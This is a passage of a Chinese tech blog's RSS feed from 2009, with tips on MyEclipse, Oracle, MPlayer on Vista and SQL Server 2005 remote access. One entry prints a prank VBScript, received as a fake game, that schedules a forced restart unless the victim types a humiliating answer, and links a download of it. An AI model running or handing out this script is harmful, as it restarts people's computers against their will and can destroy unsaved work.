F&amp;rdquo;&lt;/span&gt;快捷键，输入&lt;span&gt;&amp;ldquo;.abc&amp;rdquo;&lt;/span&gt;，点击&lt;span&gt;&amp;ldquo;&lt;/span&gt;查找下一个&lt;span&gt;&amp;rdquo;&lt;/span&gt;。&lt;/span&gt;&lt;span style="font-size: small;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial black,avant garde; font-size: small;"&gt;10.&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: arial black,avant garde; font-size: small;"&gt; 查找到&lt;span&gt;&amp;ldquo;.abc&amp;rdquo;&lt;/span&gt;的配置信息&lt;/span&gt;&lt;span style="font-size: small;"&gt;&lt;span style="font-family: arial black,avant garde;"&gt;&lt;span&gt;.&lt;br /&gt;&lt;br /&gt;11.&lt;/span&gt; 把&lt;span&gt;&amp;ldquo;.abc&amp;rdquo;&lt;/span&gt;改成&lt;span&gt;&amp;ldquo;.abcdefghijklmnopqrstuvwxyz(,&amp;rdquo;&lt;/span&gt;，保存，关闭&lt;span&gt;&amp;ldquo;test.epf&amp;rdquo;&lt;/span&gt;。 &lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial black,avant garde; font-size: small;"&gt;12.&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: arial black,avant garde;"&gt;&lt;span style="font-size: small;"&gt; 回到&lt;span&gt;MyEclipse 6.0.1&lt;/span&gt;界面，&lt;span&gt;&amp;ldquo;File&amp;rdquo;&amp;rarr;&amp;ldquo;Import&amp;rdquo;&lt;/span&gt;，在弹出的窗口中选择&lt;span&gt;&amp;ldquo;Perferences&amp;rdquo;&lt;/span&gt;，点击 &lt;span&gt;&amp;ldquo;&lt;/span&gt;下一步&lt;span&gt;&amp;rdquo;&lt;/span&gt;，选择刚在已经修改的&lt;span&gt;&amp;ldquo;test.epf&amp;rdquo;&lt;/span&gt;文件，点击&lt;span&gt;&amp;ldquo;&lt;/span&gt;打开&lt;span&gt;&amp;rdquo;&lt;/span&gt;，点击&lt;span&gt;&amp;ldquo;Finish&amp;rdquo;&lt;/span&gt;。该步骤和上面的导出步骤类似。&lt;/span&gt;&lt;span style="font-size: small;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial black,avant garde; font-size: small;"&gt;13.&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: arial black,avant garde; font-size: small;"&gt; 最后当然是进行代码测试了。&lt;/span&gt;&lt;span&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family: arial black,avant garde; font-size: small;"&gt;随便新建一个工程，新建一个类。在代码输入&lt;span&gt;switch&lt;/span&gt;，&lt;span&gt;foreach&lt;/span&gt;等进行测试。你立即会发现，果然出了提示，而且无论是敲哪个字母都会有很多相关的提示了，很流畅，很方便。 &lt;/span&gt;&lt;span&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family: arial black,avant garde; font-size: small;"&gt;总结：&lt;span&gt;&amp;ldquo;Auto Activation triggers for java&amp;rdquo;&lt;/span&gt;这个选项就是指触发代码提示的的选项，把&lt;span&gt;&amp;ldquo;.&amp;rdquo;&lt;/span&gt;改成 &lt;span&gt;&amp;ldquo;.abcdefghijklmnopqrstuvwxyz(,&amp;rdquo;&lt;/span&gt;的意思，就是指遇到&lt;span&gt;26&lt;/span&gt;个字母和&lt;span&gt;.&lt;/span&gt;，（这些符号就触发代码提示功能了。&lt;/span&gt;&lt;span&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family: arial black,avant garde; font-size: small;"&gt;顺便说一下，修改类名，接口名等以不同颜色高亮的，可以这样配置在&lt;span&gt;&amp;ldquo;&lt;span style="color: #ff0000;"&gt;java&amp;rdquo;&amp;rarr;&amp;ldquo;enditor&amp;rdquo;&amp;rarr; &amp;ldquo;syntac&lt;/span&gt;&amp;rdquo;&lt;/span&gt;，右边展开&lt;span&gt;&amp;ldquo;java&amp;rdquo;&amp;rarr;&amp;ldquo;classes&amp;rdquo;&lt;/span&gt;，勾上&lt;span&gt;&amp;ldquo;Enable&amp;rdquo;&lt;/span&gt;这个选项，选择自己喜欢的颜色即可。 &lt;/span&gt;&lt;span&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family: arial black,avant garde; font-size: small;"&gt;当然还有其他相关的颜色配置。具体就不说啦。其实，在&lt;span&gt;&amp;ldquo;Preferences&amp;rdquo;&lt;/span&gt;这个东西，有很多可以配置的东西，使得&lt;span&gt;MyEclipse&lt;/span&gt; 优化的，具体的就要各个人根据自己个人喜好去配置了。&lt;/span&gt;&lt;/p&gt;</description><guid isPermaLink="false">http://www.chendw.cn:8080/view.aspx?id=197</guid><pubDate>Tue, 14 Apr 2009 09:09:14 GMT</pubDate></item><item><title>ORA-01795: 列表中的最大表达式数为1000【解决方法】</title><link>http://www.chendw.cn:8080/view.aspx?id=196</link><description>&lt;p&gt;IN中的数据量不能超过1000条 &lt;br /&gt;暂时处理方法是:如果大于1000的话就把它拆分成两个或多个in就OK了,所以上面的id not in ( .......)就变成了 id not in(str1) and id not in(str2) and id not in (str3).&lt;/p&gt;</description><guid isPermaLink="false">http://www.chendw.cn:8080/view.aspx?id=196</guid><pubDate>Tue, 14 Apr 2009 04:33:24 GMT</pubDate></item><item><title>Vista中Mplayer与Aero效果冲突【解决方案】</title><link>http://www.chendw.cn:8080/view.aspx?id=195</link><description>&lt;p&gt;&lt;a class="thickbox" rel="gallery-plants" class="thickbox" rel="gallery-plants" href="http://www.chendw.cn:8080/uploads/2009/04/6f0b753246f54a93a53cb04c2a7a0a42.png" target="_blank"&gt;&lt;/a&gt;&lt;a class="thickbox" rel="gallery-plants" class="thickbox" rel="gallery-plants" href="http://www.chendw.cn:8080/uploads/2009/04/5951bf65c0b84a5dbe24dad7c5deefa1.jpg" target="_blank"&gt;&lt;/a&gt;　　你是不是厌倦了&lt;strong&gt;KMPlayer&lt;/strong&gt;经常假死的种种之后，开始尝试另觅新的播放器来使用。虽然QQ影音吸引了我的目光，毕竟从本质上来说并没有脱开&lt;strong&gt;KMPlayer&lt;/strong&gt;的模式，那就是闭源。我现在使用的&lt;a class="fllink" href="http://product.yesky.com/software/" target="_bank"&gt;&lt;span style="color: #000000;"&gt;软件&lt;/span&gt;&lt;/a&gt;越来越多的开始转向开源，所以我一直在尝试使用MPlayer，毕竟这是开源界最响当当的播放器。但是在Vista下使用一种有这样一个问题，让我非常苦恼的是，在Vista系统中，使用MPlayer播放影音文件时，&lt;strong&gt;Vista&lt;/strong&gt;会自动关闭&lt;strong&gt;Aero&lt;/strong&gt;效果回到经典界面，在关闭MPlayer后自动启用Aero效果。这样闪来闪去的搞得我几近崩溃，欲哭无泪!&lt;/p&gt;
&lt;!--more--&gt;
&lt;p&gt;　　解决方法是将视频输出方式更改为&lt;strong&gt;OpenGL&lt;/strong&gt;，具体如下（两种修改方法，不过效果是一样的）：&lt;/p&gt;
&lt;p&gt;　　1、修改&lt;strong&gt;MPlayer&lt;/strong&gt;的配置文件mplayer.ini，就在Mplayer目录下：将vo=directx修改为vo=gl;没有vo项则添加，当然，vo项也可能不是directx，总之修改为gl或gl2就行了，如下图所示：&lt;/p&gt;
&lt;p align="center"&gt;&lt;a href="../imagelist/2009/100/97ux72m8f19z.png" target="_blank"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p align="center"&gt;&lt;a class="thickbox" rel="gallery-plants" class="thickbox" rel="gallery-plants" href="http://www.chendw.cn:8080/uploads/2009/04/6f0b753246f54a93a53cb04c2a7a0a42.png" target="_blank"&gt;&lt;img src="http://www.chendw.cn:8080/uploads/2009/04/6f0b753246f54a93a53cb04c2a7a0a42.png" alt="1.png" /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p align="center"&gt;图为：修改mplayer.ini文件内的参数&lt;/p&gt;
&lt;p&gt;　　2、在MPlayer的首选项中更改，我使用的是WW编译，首选项是2.01版：在&amp;ldquo;其他&amp;rdquo;标签页下添加&amp;ldquo;自定义MPlayer参数&amp;rdquo;，如图：&lt;/p&gt;
&lt;p align="center"&gt;&lt;a href="../imagelist/2009/100/72d0i0fwns4w.jpg" target="_blank"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p align="center"&gt;&lt;a class="thickbox" rel="gallery-plants" class="thickbox" rel="gallery-plants" href="http://www.chendw.cn:8080/uploads/2009/04/5951bf65c0b84a5dbe24dad7c5deefa1.jpg" target="_blank"&gt;&lt;img src="http://www.chendw.cn:8080/uploads/2009/04/5951bf65c0b84a5dbe24dad7c5deefa1.jpg" alt="2.jpg" /&gt;&lt;/a&gt;&amp;nbsp;&lt;/p&gt;
&lt;p align="center"&gt;图为：自定义MPlayer参数&lt;/p&gt;
&lt;p&gt;　　用上述两种方法其一进行更改之后，在Vista下再次使用MPlayer播放视频就不会改变Aero效果了。&lt;/p&gt;</description><guid isPermaLink="false">http://www.chendw.cn:8080/view.aspx?id=195</guid><pubDate>Sun, 12 Apr 2009 07:56:30 GMT</pubDate></item><item><title>如何配置 SQL Server 2005 以允许远程连接</title><link>http://www.chendw.cn:8080/view.aspx?id=194</link><description>&lt;p&gt;原文在&lt;a href="http://support.microsoft.com/kb/914277/zh-cn" target="_blank"&gt;&lt;span style="color: #c75649;"&gt;这里&lt;/span&gt;&lt;/a&gt;，是由机器自动翻译的，实在是不好看明白。&lt;/p&gt;
&lt;p&gt;默认情况下, SQLServerExpressEdition 2005 和 SQL Server 2005 开发版不允许远程连接。 &lt;br /&gt;要允许远程连接SQL Server 2005 ,需要完成以下步骤：&lt;/p&gt;
&lt;!--more--&gt;
&lt;p&gt;&amp;bull;在SQLServer 实例上启用远程连接。 &lt;br /&gt;&amp;bull;打开服务器 SQLBrowser 服务。&lt;br /&gt;&amp;bull;配置防火墙以允许SQLBrowser 服务和SQLServer服务网络通信。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;在SQLServer 实例上启用远程连接&lt;br /&gt;&lt;/strong&gt;1.指向&amp;ldquo;开始-&amp;gt;程序-&amp;gt;Microsoft SQL Server 2005-&amp;gt;配置工具-&amp;gt;SQL Server 外围应用配置器&amp;rdquo;&lt;br /&gt;2.在&amp;ldquo;SQL Server 2005 外围应用配置器&amp;rdquo;页, 单击&amp;ldquo;服务和连接的外围应用配置器&amp;rdquo;&lt;br /&gt;3.然后单击展开&amp;ldquo;数据库引擎&amp;rdquo;， 选中&amp;ldquo;远程连接&amp;rdquo;，在右边选中&amp;ldquo;本地连接和远程连接&amp;rdquo;，&lt;br /&gt;再选择要使用的协议，单击&amp;ldquo;应用&amp;rdquo;，您会看到下消息：&lt;br /&gt;&amp;ldquo;直到重新启动数据库引擎服务后，对连接设置所做的更改才会生效。&amp;rdquo;，单击&amp;ldquo;确定&amp;rdquo;按钮返回&lt;br /&gt;4.展开&amp;ldquo;数据库引擎&amp;rdquo;， 选中&amp;ldquo;服务&amp;rdquo;，在右边单击&amp;ldquo;停止&amp;rdquo;，等到 MSSQLSERVER 服务停止，&lt;br /&gt;然后单击&amp;ldquo;启动&amp;rdquo;，重新启动MSSQLSERVER 服务。&lt;/p&gt;
&lt;h5&gt;启用 SQLServer 浏览器服务&lt;/h5&gt;
&lt;p&gt;1.指向&amp;ldquo;开始-&amp;gt;程序-&amp;gt;Microsoft SQL Server 2005-&amp;gt;配置工具-&amp;gt;SQL Server 外围应用配置器&amp;rdquo;&lt;br /&gt;2.在&amp;ldquo;SQL Server 2005 外围应用配置器&amp;rdquo;页, 单击&amp;ldquo;服务和连接的外围应用配置器&amp;rdquo;&lt;br /&gt;3.然后单击展开&amp;ldquo;SQL Server Browser&amp;rdquo;， 选中&amp;ldquo;服务&amp;rdquo;，在右边&amp;ldquo;启动类型&amp;rdquo;选择&amp;ldquo;自动&amp;rdquo;，&lt;br /&gt;再单击&amp;ldquo;启动&amp;rdquo;，单击&amp;ldquo;确定&amp;rdquo;按钮返回&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;在Windows 防火墙中为&amp;ldquo;SQL Server 2005&amp;rdquo;创建例外&lt;br /&gt;&lt;/strong&gt;1.在 Windows 防火墙设置界面中，选择&amp;ldquo; 例外&amp;rdquo; 选项卡，然后单击&amp;ldquo;添加程序&amp;rdquo;&lt;br /&gt;2.在&amp;ldquo;添加程序窗口&amp;rdquo;中单击&amp;ldquo;浏览&amp;rdquo;&lt;br /&gt;3.然后找到&amp;ldquo;C:\ProgramFiles\Microsoft Files\Microsoft SQL Server\ MSSQL.1 \MSSQL\Binn\sqlservr.exe&amp;rdquo;，&lt;br /&gt;单击&amp;ldquo;确定&amp;rdquo;返回 &lt;br /&gt;&lt;strong&gt;注意 &lt;/strong&gt;： 路径可能会根据 SQL Server 2005 安装不同而不同。 MSSQL.1 是占位符，对应数据库实例ID。&lt;br /&gt;4.对每个需要打开远程访问的SQL Server 2005 实例，重复步骤 1 至 3。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;在Windows 防火墙中为&amp;ldquo;SQLBrowser&amp;rdquo;创建例外&lt;/strong&gt;&amp;nbsp;&lt;br /&gt;1.在 Windows 防火墙设置界面中，选择&amp;ldquo; 例外&amp;rdquo; 选项卡，然后单击&amp;ldquo;添加程序&amp;rdquo;&lt;br /&gt;2.在&amp;ldquo;添加程序窗口&amp;rdquo;中单击&amp;ldquo;浏览&amp;rdquo;&lt;br /&gt;3.然后找到&amp;ldquo;C:\ProgramFiles\Microsoft Files\Microsoft SQL Server\90\Shared\sqlbrowser.exe&amp;rdquo;，&lt;br /&gt;单击&amp;ldquo;确定&amp;rdquo;返回 &lt;br /&gt;&lt;strong&gt;注意 &lt;/strong&gt;： 路径可能会根据 SQL Server 2005 安装不同而不同。&lt;/p&gt;</description><guid isPermaLink="false">http://www.chendw.cn:8080/view.aspx?id=194</guid><pubDate>Sat, 11 Apr 2009 16:21:01 GMT</pubDate></item><item><title>整人的小把戏</title><link>http://www.chendw.cn:8080/view.aspx?id=193</link><description>&lt;p&gt;今天一个同学发来一个vbe文件说是游戏~让我玩下！想想就觉得不对劲，怎么会有vbe的游戏？所以留了个心眼用记事本打开看了下里面的内容，总算发现了你们的猫腻(*^__^*)...嘻嘻！一个十足的整人程序，对于dos不了解的人还是会中招的，呵呵~可以把下面的代码保持到记事本然后重命名为vbe的后缀名或者直接下载 &lt;a href="http://www.chendw.cn:8080/uploads/2009/04/b4767401f8b54192b2b1dcb244696855.rar" target="_blank"&gt;游戏.rar&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;!--more--&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;on error resume next&lt;br /&gt;&amp;nbsp;dim WSHshellA&lt;br /&gt;&amp;nbsp;set WSHshellA = wscript.createobject("wscript.shell")&lt;br /&gt;&amp;nbsp;WSHshellA.run "cmd.exe /c shutdown -r -t 60 -c ""你是不是猪啊?不是的话一分钟就关你机，不信，试试&amp;middot;&amp;middot;&amp;middot;"" ",0 ,true&amp;nbsp; &lt;br /&gt;&amp;nbsp;&lt;br /&gt;&amp;nbsp;dim a&lt;br /&gt;&amp;nbsp;do while(a &amp;lt;&amp;gt; "是")&lt;br /&gt;&amp;nbsp;&amp;nbsp;a = inputbox ("说是,就不关机，快撒，说 ""是""　","说不是","不是",8000,5000)&lt;br /&gt;&amp;nbsp;&amp;nbsp;msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"&lt;br /&gt;&amp;nbsp;loop&lt;br /&gt;&amp;nbsp;&lt;br /&gt;&amp;nbsp;msgbox chr(13) + chr(13) + chr(13) + "早承认就行了嘛"&lt;br /&gt;&amp;nbsp;dim WSHshell&lt;br /&gt;&amp;nbsp;set WSHshell = wscript.createobject("wscript.shell")&lt;br /&gt;&amp;nbsp;WSHshell.run "cmd.exe /c shutdown -a",0 ,true&amp;nbsp; &lt;br /&gt;&amp;nbsp;msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈，真过瘾，听话，好乖"&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;</description><guid isPermaLink="false">http://www.chendw.cn:8080/view.aspx?id=193</guid><pubDate>Sat, 11 Apr 2009 15:10:14 GMT</pubDate></item><item><title>未来五年程序员应当具备的十项技能[转]</title><link>http://www.chendw.cn:8080/view.aspx?id=192</link><description>&lt;p&gt;&lt;span style="color: #051818; font-size: 10pt;"&gt;&lt;span style="font-family: 宋体;"&gt;【&lt;/span&gt;&lt;span style="font-family: Arial;"&gt;Csdn 4&lt;/span&gt;&lt;span style="font-family: 宋体;"&gt;月&lt;/span&gt;&lt;span style="font-family: Arial;"&gt;9&lt;/span&gt;&lt;span style="font-family: 宋体;"&gt;日编译】作为一名程序员，如果你想在这个领域内继续向前进步或者在当前的经济形势下保持不被炒鱿鱼，那么你就决不应当自满自足，你需要继续学习。近日，著名&lt;/span&gt;&lt;span style="font-family: Arial;"&gt;IT&lt;/span&gt;&lt;span style="font-family: 宋体;"&gt;评论员&lt;/span&gt;&lt;span style="font-family: Arial;"&gt;Justin James&lt;/span&gt;&lt;span style="font-family: 宋体;"&gt;在他的博客中列出了未来五年程序员应当具备的十项技能，如果照此实践，你未来的工作前景一定一片光明。&lt;/span&gt;&lt;span style="font-family: Arial;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="color: #051818; font-size: 10pt;"&gt;&lt;span style="font-family: 宋体;"&gt;当前的经济形势下，很多程序员将目光聚焦在短期内的工作形式上，但是你仍然要抽出时间和精力学习新的技能。以下是作为程序员应当即刻学习的十项技能，以确保在未来五年内你的简历上有真材实料。当然这个名单很难做到详尽而没有遗漏，有些领域没有涉及到（比如大型机开发者）。然而，对于一般的主流开发而言，你至少要学会以下十条中的七条，而且掌握的程度不是那种你在工作面试上能够夸夸其谈，而是真正能够用于实际开发。&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="color: #051818; font-size: 10pt;"&gt;&lt;span style="font-family: 宋体;"&gt;&amp;nbsp;&lt;!--more--&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="color: #051818; font-size: 10pt;"&gt;&lt;strong&gt;&lt;span style="font-family: Arial;"&gt;1&lt;/span&gt;&lt;span style="font-family: 宋体;"&gt;，三大主流开发体系之一&lt;/span&gt;&lt;/strong&gt;&lt;span style="font-family: Arial;"&gt;&lt;strong&gt;(.NET, Java, PHP)&lt;/strong&gt; &lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="color: #051818; font-size: 10pt;"&gt;&lt;span style="font-family: 宋体;"&gt;除非软件开发领域发生巨大的变革（这机率好比行星撞击地球），不然程序员至少需要知道三大开发系统中（&lt;/span&gt;&lt;span style="font-family: Arial;"&gt;.NET (VB.NET or C#), Java, PHP&lt;/span&gt;&lt;span style="font-family: 宋体;"&gt;）的一种。而且仅仅了解核心语言是不够的，因为现在的项目拥有越来越多的不同功能，这也迫使程序员对相关的框架和库了解得更深。&lt;/span&gt;&lt;span style="font-family: Arial;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="color: #051818; font-size: 10pt;"&gt;&lt;strong&gt;&lt;span style="font-family: Arial;"&gt;2&lt;/span&gt;&lt;span style="font-family: 宋体;"&gt;，富客户端应用（&lt;/span&gt;&lt;span style="font-family: Arial;"&gt;Rich Internet Applications&lt;/span&gt;&lt;span style="font-family: 宋体;"&gt;）&lt;/span&gt;&lt;/strong&gt;&lt;span style="font-family: Arial;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="color: #051818; font-size: 10pt;"&gt;&lt;span style="font-family: 宋体;"&gt;无论你对&lt;/span&gt;&lt;span style="font-family: Arial;"&gt;Flash&lt;/span&gt;&lt;span style="font-family: 宋体;"&gt;是爱还是恨，我们都不得不承认在过去的几年里&lt;/span&gt;&lt;span style="font-family: Arial;"&gt;Flash&lt;/span&gt;&lt;span style="font-family: 宋体;"&gt;的发展壮大已远不仅是应用于动画制作。&lt;/span&gt;&lt;span style="font-family: Arial;"&gt;Flash&lt;/span&gt;&lt;span style="font-family: 宋体;"&gt;以及&lt;/span&gt;&lt;span style="font-family: Arial;"&gt;Flex&lt;/span&gt;&lt;span style="font-family: 宋体;"&gt;和&lt;/span&gt;&lt;span style="font-family: Arial;"&gt;AIR&lt;/span&gt;&lt;span style="font-family: 宋体;"&gt;都具备越来越多的功能。而&lt;/span&gt;&lt;span style="font-family: Arial;"&gt;Flash&lt;/span&gt;&lt;span style="font-family: 宋体;"&gt;的竞争者，如&lt;/span&gt;&lt;span style="font-family: Arial;"&gt;JavaFX&lt;/span&gt;&lt;span style="font-family: 宋体;"&gt;和&lt;/span&gt;&lt;span style="font-family: Arial;"&gt;Silverlight&lt;/span&gt;&lt;span style="font-family: 宋体;"&gt;等也在不断提升自身的性能和表现。让富互联网应用更加活跃的是，&lt;/span&gt;&lt;span style="font-family: Arial;"&gt;HTML 5&lt;/span&gt;&lt;span style="font-family: 宋体;"&gt;正整合进所有种类的&lt;/span&gt;&lt;span style="font-family: Arial;"&gt;RIA&lt;/span&gt;&lt;span style="font-family: 宋体;"&gt;功能，包括数据库连接、将&lt;/span&gt;&lt;span style="font-family: Arial;"&gt;W3C&lt;/span&gt;&lt;span style="font-family: 宋体;"&gt;置于&lt;/span&gt;&lt;span style="font-family: Arial;"&gt;AJAX&lt;/span&gt;&lt;span style="font-family: 宋体;"&gt;上等。在不远的将来，作为一名&lt;/span&gt;&lt;span style="font-family: Arial;"&gt;RIA&lt;/span&gt;&lt;span style="font-family: 宋体;"&gt;领域的专家无疑将给你的简历添上浓重的一笔。&lt;/span&gt;&lt;span style="font-family: Arial;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="color: #051818; font-size: 10pt;"&gt;&lt;strong&gt;&lt;span style="font-family: Arial;"&gt;3&lt;/span&gt;&lt;span style="font-family: 宋体;"&gt;，&lt;/span&gt;&lt;span style="font-family: Arial;"&gt;Web&lt;/span&gt;&lt;span style="font-family: 宋体;"&gt;页面开发&lt;/span&gt;&lt;/strong&gt;&lt;span style="font-family: Arial;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="color: #051818; font-size: 10pt;"&gt;&lt;span style="font-family: Arial;"&gt;Web&lt;/span&gt;&lt;span style="font-family: 宋体;"&gt;开发恐怕在未来的很长时间内都是主流技术之一。许多程序员往往满足于构建后台、或者只是专注于框架基础而忽略了&lt;/span&gt;&lt;span style="font-family: Arial;"&gt;Web&lt;/span&gt;&lt;span style="font-family: 宋体;"&gt;。但是越来越多的企业需要如何在交互代码（&lt;/span&gt;&lt;span style="font-family: Arial;"&gt;hand code&lt;/span&gt;&lt;span style="font-family: 宋体;"&gt;）级别处理&lt;/span&gt;&lt;span style="font-family: Arial;"&gt;Web&lt;/span&gt;&lt;span style="font-family: 宋体;"&gt;技术的人员，所以掌握&lt;/span&gt;&lt;span style="font-family: Arial;"&gt;JavaScript&lt;/span&gt;&lt;span style="font-family: 宋体;"&gt;、&lt;/span&gt;&lt;span style="font-family: Arial;"&gt;CSS&lt;/span&gt;&lt;span style="font-family: 宋体;"&gt;和&lt;/span&gt;&lt;span style="font-family: Arial;"&gt;HTML&lt;/span&gt;&lt;span style="font-family: 宋体;"&gt;必将在未来五年内的职场上无往不胜。&lt;/span&gt;&lt;span style="font-family: Arial;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="color: #051818; font-size: 10pt;"&gt;&lt;strong&gt;&lt;span style="font-family: Arial;"&gt;4&lt;/span&gt;&lt;span style="font-family: 宋体;"&gt;，&lt;/span&gt;&lt;span style="font-family: Arial;"&gt;Web&lt;/span&gt;&lt;span style="font-family: 宋体;"&gt;服务端开发&lt;/span&gt;&lt;/strong&gt;&lt;span style="font-family: Arial;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="color: #051818; font-size: 10pt;"&gt;&lt;span style="font-family: Arial;"&gt;REST &lt;/span&gt;&lt;span style="font-family: 宋体;"&gt;还是&lt;/span&gt;&lt;span style="font-family: Arial;"&gt;SOAP? JSON &lt;/span&gt;&lt;span style="font-family: 宋体;"&gt;还是&lt;/span&gt;&lt;span style="font-family: Arial;"&gt;XML?&lt;/span&gt;&lt;span style="font-family: 宋体;"&gt;当然选择答案得依据项目来定，但如果一名程序员不会创建&lt;/span&gt;&lt;span style="font-family: Arial;"&gt;Web&lt;/span&gt;&lt;span style="font-family: 宋体;"&gt;服务（尽管这个程序员也许不用写&lt;/span&gt;&lt;span style="font-family: Arial;"&gt;Web&lt;/span&gt;&lt;span style="font-family: 宋体;"&gt;应用），那么他在工作岗位上一定倍感艰难。因为即便是过去那些被&lt;/span&gt;&lt;span style="font-family: Arial;"&gt;ODBC, COM&lt;/span&gt;&lt;span style="font-family: 宋体;"&gt;或者&lt;/span&gt;&lt;span style="font-family: Arial;"&gt; RPC&lt;/span&gt;&lt;span style="font-family: 宋体;"&gt;主宰的领域现在也转到了一些形式的&lt;/span&gt;&lt;span style="font-family: Arial;"&gt;Web&lt;/span&gt;&lt;span style="font-family: 宋体;"&gt;服务上了。&lt;/span&gt;&lt;span style="font-family: Arial;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="color: #051818; font-size: 10pt;"&gt;&lt;strong&gt;&lt;span style="font-family: Arial;"&gt;5&lt;/span&gt;&lt;span style="font-family: 宋体;"&gt;，软性技能&lt;/span&gt;&lt;/strong&gt;&lt;span style="font-family: Arial;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="color: #051818; font-size: 10pt;"&gt;&lt;span style="font-family: 宋体;"&gt;一段时间以来就有这样一种趋势即：无论在企业内部还是企业外部提高&lt;/span&gt;&lt;span style="font-family: Arial;"&gt;IT&lt;/span&gt;&lt;span style="font-family: 宋体;"&gt;的能见度。程序员被越来越多地带去参加非开发性会议来提供技术支持。例如，没有&lt;/span&gt;&lt;span style="font-family: Arial;"&gt;IT&lt;/span&gt;&lt;span style="font-family: 宋体;"&gt;升级系统，首席财务官不可能改变收支细则；没有&lt;/span&gt;&lt;span style="font-family: Arial;"&gt;IT&lt;/span&gt;&lt;span style="font-family: 宋体;"&gt;升级&lt;/span&gt;&lt;span style="font-family: Arial;"&gt;CRM&lt;/span&gt;&lt;span style="font-family: 宋体;"&gt;工作流，运营总监不可能改变一个中心呼叫进程。同样，客户经常直接与开发团队沟通以确保他们的需求被完成。是否每个程序员都应该回去学习礼仪课来与别人更好的交往呢？那倒不必，但是程序员的确要提高待人接物的软性能力，以在职场上获得更大的价值。&lt;/span&gt;&lt;span style="font-family: Arial;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="color: #051818; font-size: 10pt;"&gt;&lt;strong&gt;&lt;span style="font-family: Arial;"&gt;6&lt;/span&gt;&lt;span style="font-family: 宋体;"&gt;，一种动态或者函数式程序设计语言&lt;/span&gt;&lt;/strong&gt;&lt;span style="font-family: Arial;"&gt;&lt;strong&gt;(Functional Programming Language)&lt;/strong&gt; &lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="color: #051818; font-size: 10pt;"&gt;&lt;span style="font-family: 宋体;"&gt;类如&lt;/span&gt;&lt;span style="font-family: Arial;"&gt;Ruby, Python, F#&lt;/span&gt;&lt;span style="font-family: 宋体;"&gt;和&lt;/span&gt;&lt;span style="font-family: Arial;"&gt;Groovy&lt;/span&gt;&lt;span style="font-family: 宋体;"&gt;等的语言虽然不完全主流，但是语言内部包含的思想却是开发界的主流。比如，微软&lt;/span&gt;&lt;span style="font-family: Arial;"&gt;.NET&lt;/span&gt;&lt;span style="font-family: 宋体;"&gt;中的&lt;/span&gt;&lt;span style="font-family: Arial;"&gt;LINQ&lt;/span&gt;&lt;span style="font-family: 宋体;"&gt;系统就是函数式程序设计语言的一个直接派生。得益于&lt;/span&gt;&lt;span style="font-family: Arial;"&gt;Rails&lt;/span&gt;&lt;span style="font-family: 宋体;"&gt;框架和&lt;/span&gt;&lt;span style="font-family: Arial;"&gt;Silverlight&lt;/span&gt;&lt;span style="font-family: 宋体;"&gt;的发展，&lt;/span&gt;&lt;span style="font-family: Arial;"&gt;Ruby&lt;/span&gt;&lt;span style="font-family: 宋体;"&gt;和&lt;/span&gt;&lt;span style="font-family: Arial;"&gt;Python&lt;/span&gt;&lt;span style="font-family: 宋体;"&gt;语言在一些领域变得很热门。学习这样一门语言不仅丰富了你的简历，而且会开阔你的开发视野。我所遇到的顶级开发者几乎都曾在演讲中提到学习一门动态语言或者函数式程序设计语言的重要性，就我的个人经历而言，这确实很有用。&lt;/span&gt;&lt;span style="font-family: Arial;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="color: #051818; font-size: 10pt;"&gt;&lt;strong&gt;&lt;span style="font-family: Arial;"&gt;7&lt;/span&gt;&lt;span style="font-family: 宋体;"&gt;，敏捷开发&lt;/span&gt;&lt;/strong&gt;&lt;span style="font-family: Arial;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
